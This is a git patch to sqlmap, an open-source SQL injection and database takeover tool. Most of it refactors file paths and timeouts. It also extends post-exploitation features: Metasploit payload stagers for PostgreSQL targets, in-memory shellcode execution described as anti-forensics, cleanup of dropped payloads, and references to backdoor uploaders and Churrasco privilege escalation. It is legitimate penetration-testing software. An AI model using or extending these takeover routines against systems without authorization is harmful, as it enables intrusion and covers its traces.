From e4e081cdc60aac453f70dbdac0aea9b355a2a486 Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Thu, 17 Dec 2009 22:04:01 +0000 Subject: [PATCH] sqlmap 0.8-rc2: minor enhancement based on msfencode 3.3.3-dev -t exe-small so that also PostgreSQL supports again the out-of-band via Metasploit payload stager optionally to shellcode execution in-memory via sys_bineval() UDF. Speed up OOB connect back. Cleanup target file system after --os-pwn too. Minor bug fix to correctly forge file system paths with os.path.join() all around. Minor code refactoring and user's manual update. --- doc/README.sgml | 4 +-- lib/core/common.py | 40 ++++++++++++++--------------- lib/core/option.py | 16 ++++++------ lib/core/settings.py | 2 +- lib/parse/headers.py | 16 +++++++----- lib/request/connect.py | 9 ++++++- lib/takeover/metasploit.py | 51 ++++++++++++++++++++++++++----------- lib/takeover/registry.py | 8 +++--- lib/takeover/upx.py | 16 ++++++------ lib/takeover/xp_cmdshell.py | 2 +- plugins/generic/misc.py | 4 +-- plugins/generic/takeover.py | 11 +++----- 12 files changed, 103 insertions(+), 76 deletions(-) diff --git a/doc/README.sgml b/doc/README.sgml index 6f1968702..50035a916 100644 --- a/doc/README.sgml +++ b/doc/README.sgml @@ -51,7 +51,7 @@ sqlmap relies on the for some of its post-exploitation takeover functionalities. You need to grab a copy of it from the -page. The required version is 3.3 or above. +page. The required version is 3.3.3 or above. Optionally, if you are running sqlmap on Windows, you may wish to install @@ -4356,7 +4356,7 @@ PostgreSQL and Microsoft SQL Server. sqlmap relies on the to perform this attack, so you need to have it already on your system: it's free and can be downloaded from the homepage. It is -required to use Metasploit Framework version 3.3 or above. +required to use Metasploit Framework version 3.3.3 or above.

Note that this feature is not supported by sqlmap running on Windows diff --git a/lib/core/common.py b/lib/core/common.py index c8eb0d794..063c15e70 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -560,27 +560,27 @@ def cleanQuery(query): def setPaths(): # sqlmap paths - paths.SQLMAP_CONTRIB_PATH = "%s/lib/contrib" % paths.SQLMAP_ROOT_PATH - paths.SQLMAP_SHELL_PATH = "%s/shell" % paths.SQLMAP_ROOT_PATH - paths.SQLMAP_TXT_PATH = "%s/txt" % paths.SQLMAP_ROOT_PATH - paths.SQLMAP_UDF_PATH = "%s/udf" % paths.SQLMAP_ROOT_PATH - paths.SQLMAP_XML_PATH = "%s/xml" % paths.SQLMAP_ROOT_PATH - paths.SQLMAP_XML_BANNER_PATH = "%s/banner" % paths.SQLMAP_XML_PATH - paths.SQLMAP_OUTPUT_PATH = "%s/output" % paths.SQLMAP_ROOT_PATH - paths.SQLMAP_DUMP_PATH = paths.SQLMAP_OUTPUT_PATH + "/%s/dump" - paths.SQLMAP_FILES_PATH = paths.SQLMAP_OUTPUT_PATH + "/%s/files" + paths.SQLMAP_CONTRIB_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "lib", "contrib") + paths.SQLMAP_SHELL_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "shell") + paths.SQLMAP_TXT_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "txt") + paths.SQLMAP_UDF_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "udf") + paths.SQLMAP_XML_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "xml") + paths.SQLMAP_XML_BANNER_PATH = os.path.join(paths.SQLMAP_XML_PATH, "banner") + paths.SQLMAP_OUTPUT_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "output") + paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump") + paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files") # sqlmap files - paths.SQLMAP_HISTORY = "%s/.sqlmap_history" % paths.SQLMAP_ROOT_PATH - paths.SQLMAP_CONFIG = "%s/sqlmap-%s.conf" % (paths.SQLMAP_ROOT_PATH, randomStr()) - paths.FUZZ_VECTORS = "%s/fuzz_vectors.txt" % paths.SQLMAP_TXT_PATH - paths.ERRORS_XML = "%s/errors.xml" % paths.SQLMAP_XML_PATH - paths.QUERIES_XML = "%s/queries.xml" % paths.SQLMAP_XML_PATH - paths.GENERIC_XML = "%s/generic.xml" % paths.SQLMAP_XML_BANNER_PATH - paths.MSSQL_XML = "%s/mssql.xml" % paths.SQLMAP_XML_BANNER_PATH - paths.MYSQL_XML = "%s/mysql.xml" % paths.SQLMAP_XML_BANNER_PATH - paths.ORACLE_XML = "%s/oracle.xml" % paths.SQLMAP_XML_BANNER_PATH - paths.PGSQL_XML = "%s/postgresql.xml" % paths.SQLMAP_XML_BANNER_PATH + paths.SQLMAP_HISTORY = os.path.join(paths.SQLMAP_ROOT_PATH, ".sqlmap_history") + paths.SQLMAP_CONFIG = os.path.join(paths.SQLMAP_ROOT_PATH, "sqlmap-%s.conf" % randomStr()) + paths.FUZZ_VECTORS = os.path.join(paths.SQLMAP_TXT_PATH, "fuzz_vectors.txt") + paths.ERRORS_XML = os.path.join(paths.SQLMAP_XML_PATH, "errors.xml") + paths.QUERIES_XML = os.path.join(paths.SQLMAP_XML_PATH, "queries.xml") + paths.GENERIC_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "generic.xml") + paths.MSSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "mssql.xml") + paths.MYSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "mysql.xml") + paths.ORACLE_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "oracle.xml") + paths.PGSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "postgresql.xml") def weAreFrozen(): @@ -845,7 +845,7 @@ def searchEnvPath(fileName): for envPath in envPaths: envPath = envPath.replace(";", "") - result = os.path.exists(os.path.normpath("%s/%s" % (envPath, fileName))) + result = os.path.exists(os.path.normpath(os.path.join(envPath, fileName))) if result == True: break diff --git a/lib/core/option.py b/lib/core/option.py index 1f6cc50cf..2bd3dabda 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -325,10 +325,10 @@ def __setMetasploit(): if conf.msfPath: condition = os.path.exists(os.path.normpath(conf.msfPath)) - condition &= os.path.exists(os.path.normpath("%s/msfcli" % conf.msfPath)) - condition &= os.path.exists(os.path.normpath("%s/msfconsole" % conf.msfPath)) - condition &= os.path.exists(os.path.normpath("%s/msfencode" % conf.msfPath)) - condition &= os.path.exists(os.path.normpath("%s/msfpayload" % conf.msfPath)) + condition &= os.path.exists(os.path.normpath(os.path.join(conf.msfPath, "msfcli"))) + condition &= os.path.exists(os.path.normpath(os.path.join(conf.msfPath, "msfconsole"))) + condition &= os.path.exists(os.path.normpath(os.path.join(conf.msfPath, "msfencode"))) + condition &= os.path.exists(os.path.normpath(os.path.join(conf.msfPath, "msfpayload"))) if condition: debugMsg = "provided Metasploit Framework 3 path " @@ -364,10 +364,10 @@ def __setMetasploit(): for envPath in envPaths: envPath = envPath.replace(";", "") condition = os.path.exists(os.path.normpath(envPath)) - condition &= os.path.exists(os.path.normpath("%s/msfcli" % envPath)) - condition &= os.path.exists(os.path.normpath("%s/msfconsole" % envPath)) - condition &= os.path.exists(os.path.normpath("%s/msfencode" % envPath)) - condition &= os.path.exists(os.path.normpath("%s/msfpayload" % envPath)) + condition &= os.path.exists(os.path.normpath(os.path.join(envPath, "msfcli"))) + condition &= os.path.exists(os.path.normpath(os.path.join(envPath, "msfconsole"))) + condition &= os.path.exists(os.path.normpath(os.path.join(envPath, "msfencode"))) + condition &= os.path.exists(os.path.normpath(os.path.join(envPath, "msfpayload"))) if condition: infoMsg = "Metasploit Framework 3 has been found " diff --git a/lib/core/settings.py b/lib/core/settings.py index 73b39b578..b817be879 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -30,7 +30,7 @@ import sys # sqlmap version and site -VERSION = "0.8-rc1" +VERSION = "0.8-rc2" VERSION_STRING = "sqlmap/%s" % VERSION SITE = "http://sqlmap.sourceforge.net" diff --git a/lib/parse/headers.py b/lib/parse/headers.py index 7b9f341bb..ef4ef2142 100644 --- a/lib/parse/headers.py +++ b/lib/parse/headers.py @@ -24,6 +24,8 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +import os + from xml.sax import parse from lib.core.common import checkFile @@ -46,13 +48,13 @@ def headersParser(headers): kb.headersCount += 1 topHeaders = { - "cookie": "%s/cookie.xml" % paths.SQLMAP_XML_BANNER_PATH, - "microsoftsharepointteamservices": "%s/sharepoint.xml" % paths.SQLMAP_XML_BANNER_PATH, - "server": "%s/server.xml" % paths.SQLMAP_XML_BANNER_PATH, - "servlet-engine": "%s/servlet.xml" % paths.SQLMAP_XML_BANNER_PATH, - "set-cookie": "%s/cookie.xml" % paths.SQLMAP_XML_BANNER_PATH, - "x-aspnet-version": "%s/x-aspnet-version.xml" % paths.SQLMAP_XML_BANNER_PATH, - "x-powered-by": "%s/x-powered-by.xml" % paths.SQLMAP_XML_BANNER_PATH, + "cookie": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "cookie.xml"), + "microsoftsharepointteamservices": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "sharepoint.xml"), + "server": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "server.xml"), + "servlet-engine": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "servlet.xml"), + "set-cookie": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "cookie.xml"), + "x-aspnet-version": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-aspnet-version.xml"), + "x-powered-by": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-powered-by.xml") } for header in headers: diff --git a/lib/request/connect.py b/lib/request/connect.py index 226265ba6..f429bde48 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -85,6 +85,9 @@ class Connect: else: requestMsg += "%s" % urlparse.urlsplit(url)[2] or "/" + if silent is True: + socket.setdefaulttimeout(3) + if direct: if "?" in url: url, params = url.split("?") @@ -202,7 +205,7 @@ class Connect: return None, None - if silent == True: + if silent is True: return None, None elif conf.retriesCount < conf.retries: @@ -213,11 +216,15 @@ class Connect: time.sleep(1) + socket.setdefaulttimeout(conf.timeout) return Connect.__getPageProxy(url=url, get=get, post=post, cookie=cookie, ua=ua, direct=direct, multipart=multipart, silent=silent) else: + socket.setdefaulttimeout(conf.timeout) raise sqlmapConnectionException, warnMsg + socket.setdefaulttimeout(conf.timeout) + parseResponse(page, responseHeaders) responseMsg += "(%s - %d):\n" % (status, code) diff --git a/lib/takeover/metasploit.py b/lib/takeover/metasploit.py index 497223837..0f42fce14 100644 --- a/lib/takeover/metasploit.py +++ b/lib/takeover/metasploit.py @@ -73,16 +73,16 @@ class Metasploit: self.localIP = getLocalIP() self.remoteIP = getRemoteIP() - self.__msfCli = os.path.normpath("%s/msfcli" % conf.msfPath) - self.__msfConsole = os.path.normpath("%s/msfconsole" % conf.msfPath) - self.__msfEncode = os.path.normpath("%s/msfencode" % conf.msfPath) - self.__msfPayload = os.path.normpath("%s/msfpayload" % conf.msfPath) + self.__msfCli = os.path.normpath(os.path.join(conf.msfPath, "msfcli")) + self.__msfConsole = os.path.normpath(os.path.join(conf.msfPath, "msfconsole")) + self.__msfEncode = os.path.normpath(os.path.join(conf.msfPath, "msfencode")) + self.__msfPayload = os.path.normpath(os.path.join(conf.msfPath, "msfpayload")) self.__msfPayloadsList = { "windows": { 1: ( "Meterpreter (default)", "windows/meterpreter" ), - 3: ( "Shell", "windows/shell" ), - 4: ( "VNC", "windows/vncinject" ), + 2: ( "Shell", "windows/shell" ), + 3: ( "VNC", "windows/vncinject" ), }, "linux": { 1: ( "Shell", "linux/x86/shell" ), @@ -254,7 +254,7 @@ class Metasploit: break - elif askChurrasco == False: + elif askChurrasco is False: logger.warn("beware that the VNC injection might not work") break @@ -361,7 +361,7 @@ class Metasploit: def __forgeMsfConsoleResource(self): - self.resourceFile = "%s/%s" % (conf.outputPath, self.__randFile) + self.resourceFile = os.path.join(conf.outputPath, self.__randFile) self.__prepareIngredients(encode=False, askChurrasco=False) @@ -542,7 +542,7 @@ class Metasploit: logger.info(infoMsg) self.__randStr = randomStr(lowercase=True) - self.__shellcodeFilePath = "%s/sqlmapmsf%s" % (conf.outputPath, self.__randStr) + self.__shellcodeFilePath = os.path.join(conf.outputPath, "sqlmapmsf%s" % self.__randStr) self.__initVars() self.__prepareIngredients(encode=encode, askChurrasco=False) @@ -592,10 +592,20 @@ class Metasploit: self.__randStr = randomStr(lowercase=True) if kb.os == "Windows": - self.exeFilePathLocal = "%s/sqlmapmsf%s.exe" % (conf.outputPath, self.__randStr) - self.__fileFormat = "exe" + self.exeFilePathLocal = os.path.join(conf.outputPath, "sqlmapmsf%s.exe" % self.__randStr) + + # Metasploit developers added support for the old exe format + # to msfencode using '-t exe-small' (>= 3.3.3-dev), + # http://www.metasploit.com/redmine/projects/framework/repository/revisions/7840 + # This is useful for sqlmap because on PostgreSQL it is not + # possible to write files bigger than 8192 bytes abusing the + # lo_export() feature implemented in sqlmap. + if kb.dbms == "PostgreSQL": + self.__fileFormat = "exe-small" + else: + self.__fileFormat = "exe" else: - self.exeFilePathLocal = "%s/sqlmapmsf%s" % (conf.outputPath, self.__randStr) + self.exeFilePathLocal = os.path.join(conf.outputPath, "sqlmapmsf%s" % self.__randStr) self.__fileFormat = "elf" if initialize == True: @@ -614,7 +624,7 @@ class Metasploit: payloadStderr = process.communicate()[1] if kb.os == "Windows": - payloadSize = re.search("size ([\d]+)", payloadStderr, re.I) + payloadSize = re.search("size\s([\d]+)", payloadStderr, re.I) else: payloadSize = re.search("Length\:\s([\d]+)", payloadStderr, re.I) @@ -623,10 +633,18 @@ class Metasploit: if payloadSize: payloadSize = payloadSize.group(1) exeSize = os.path.getsize(self.exeFilePathLocal) - packedSize = upx.pack(self.exeFilePathLocal) + + # Only pack the payload stager if the back-end DBMS is not + # PostgreSQL because for this DBMS, sqlmap uses the + # Metasploit's old exe format + if self.__fileFormat != "exe-small": + packedSize = upx.pack(self.exeFilePathLocal) + else: + packedSize = None + debugMsg = "the encoded payload size is %s bytes, " % payloadSize - if packedSize and packedSize != exeSize: + if packedSize and packedSize < exeSize: debugMsg += "as a compressed portable executable its size " debugMsg += "is %d bytes, decompressed it " % packedSize debugMsg += "was %s bytes large" % exeSize @@ -666,6 +684,9 @@ class Metasploit: debugMsg += "with return code %s" % self.__controlMsfCmd(self.__msfCliProc, func) logger.debug(debugMsg) + if goUdf is False: + self.delRemoteFile(self.exeFilePathRemote, doubleslash=True) + def smb(self): self.__initVars() diff --git a/lib/takeover/registry.py b/lib/takeover/registry.py index 7672c2e2f..4ce7bf1d6 100644 --- a/lib/takeover/registry.py +++ b/lib/takeover/registry.py @@ -45,7 +45,7 @@ class Registry: self.__randStr = randomStr(lowercase=True) self.__batPathRemote = "%s/sqlmapreg%s%s.bat" % (conf.tmpPath, self.__operation, self.__randStr) - self.__batPathLocal = "%s/sqlmapreg%s%s.bat" % (conf.outputPath, self.__operation, self.__randStr) + self.__batPathLocal = os.path.join(conf.outputPath, "sqlmapreg%s%s.bat" % (self.__operation, self.__randStr)) if parse == True: readParse = "FOR /F \"tokens=2* delims==\" %%A IN ('REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regValue + "\"') DO SET value=%%A\r\nECHO %value%\r\n" @@ -108,7 +108,7 @@ class Registry: data = self.evalCmd(self.__batPathRemote, first) - self.delRemoteTempFile(self.__batPathRemote, bat=True) + self.delRemoteFile(self.__batPathRemote, doubleslash=True) return data @@ -124,7 +124,7 @@ class Registry: logger.debug(debugMsg) self.execCmd(cmd=self.__batPathRemote, forgeCmd=True) - self.delRemoteTempFile(self.__batPathRemote, bat=True) + self.delRemoteFile(self.__batPathRemote, doubleslash=True) def delRegKey(self, regKey, regValue): @@ -138,4 +138,4 @@ class Registry: logger.debug(debugMsg) self.execCmd(cmd=self.__batPathRemote, forgeCmd=True) - self.delRemoteTempFile(self.__batPathRemote, bat=True) + self.delRemoteFile(self.__batPathRemote, doubleslash=True) diff --git a/lib/takeover/upx.py b/lib/takeover/upx.py index 1320c3fee..59e2a6743 100644 --- a/lib/takeover/upx.py +++ b/lib/takeover/upx.py @@ -52,7 +52,7 @@ class UPX: self.__upxPath = "%s/upx/macosx/upx" % paths.SQLMAP_CONTRIB_PATH elif "win" in PLATFORM: - self.__upxPath = "%s/upx/windows/upx.exe" % paths.SQLMAP_CONTRIB_PATH + self.__upxPath = "%s\upx\windows\upx.exe" % paths.SQLMAP_CONTRIB_PATH elif "linux" in PLATFORM: self.__upxPath = "%s/upx/linux/upx" % paths.SQLMAP_CONTRIB_PATH @@ -80,17 +80,17 @@ class UPX: pollProcess(process) upxStdout, upxStderr = process.communicate() - warnMsg = "failed to compress the file" + msg = "failed to compress the file" if "NotCompressibleException" in upxStdout: - warnMsg += " because you provided a Metasploit version above " - warnMsg += "3.3-dev revision 6681. This will not inficiate " - warnMsg += "the correct execution of sqlmap. It might " - warnMsg += "only slow down a bit the execution of sqlmap" - logger.info(warnMsg) + msg += " because you provided a Metasploit version above " + msg += "3.3-dev revision 6681. This will not inficiate " + msg += "the correct execution of sqlmap. It might " + msg += "only slow down a bit the execution" + logger.debug(msg) elif upxStderr: - logger.warn(warnMsg) + logger.warn(msg) else: return os.path.getsize(srcFile) diff --git a/lib/takeover/xp_cmdshell.py b/lib/takeover/xp_cmdshell.py index 236982032..ca8eff685 100644 --- a/lib/takeover/xp_cmdshell.py +++ b/lib/takeover/xp_cmdshell.py @@ -144,7 +144,7 @@ class xp_cmdshell: inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.cmdTblName, tmpFile, randomStr(10), randomStr(10))) - self.delRemoteTempFile(tmpFile) + self.delRemoteFile(tmpFile) output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, sort=False, firstChar=first, lastChar=last) inject.goStacked("DELETE FROM %s" % self.cmdTblName) diff --git a/plugins/generic/misc.py b/plugins/generic/misc.py index 940dd3265..e7c2d9509 100644 --- a/plugins/generic/misc.py +++ b/plugins/generic/misc.py @@ -73,11 +73,11 @@ class Miscellaneous: setRemoteTempPath() - def delRemoteTempFile(self, tempFile, bat=False): + def delRemoteFile(self, tempFile, doubleslash=False): self.checkDbmsOs() if kb.os == "Windows": - if bat is True: + if doubleslash is True: tempFile = tempFile.replace("/", "\\\\") else: tempFile = tempFile.replace("/", "\\") diff --git a/plugins/generic/takeover.py b/plugins/generic/takeover.py index 069a30d41..a10c1692c 100644 --- a/plugins/generic/takeover.py +++ b/plugins/generic/takeover.py @@ -163,9 +163,9 @@ class Takeover(Abstraction, Metasploit, Registry): logger.warn("invalid value, it must be 1 or 3") backdoorName = "backdoor.%s" % language - backdoorPath = "%s/%s" % (paths.SQLMAP_SHELL_PATH, backdoorName) + backdoorPath = os.path.join(paths.SQLMAP_SHELL_PATH, backdoorName) uploaderName = "uploader.%s" % language - uploaderStr = fileToStr("%s/%s" % (paths.SQLMAP_SHELL_PATH, uploaderName)) + uploaderStr = fileToStr(os.path.join(paths.SQLMAP_SHELL_PATH, uploaderName)) for directory in directories: # Upload the uploader agent @@ -250,7 +250,7 @@ class Takeover(Abstraction, Metasploit, Registry): if not output or output[0] in ( "y", "Y" ): # TODO: add also compiled/packed Churrasco for Windows 2008 - wFile = "%s/tokenkidnapping/Churrasco.exe" % paths.SQLMAP_CONTRIB_PATH + wFile = os.path.join(paths.SQLMAP_CONTRIB_PATH, "tokenkidnapping", "Churrasco.exe") self.churrascoPath = "%s/sqlmapchur%s.exe" % (conf.tmpPath, randomStr(lowercase=True)) self.cmdFromChurrasco = True @@ -307,7 +307,7 @@ class Takeover(Abstraction, Metasploit, Registry): goUdf = False - if kb.dbms == "MySQL": + if kb.dbms in ( "MySQL", "PostgreSQL" ): msg = "how do you want to execute the Metasploit shellcode " msg += "on the back-end database underlying operating system?" msg += "\n[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)" @@ -330,9 +330,6 @@ class Takeover(Abstraction, Metasploit, Registry): if choice == 1: goUdf = True - elif kb.dbms == "PostgreSQL": - goUdf = True - if goUdf is True: self.createMsfShellcode(exitfunc="thread", format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed") else: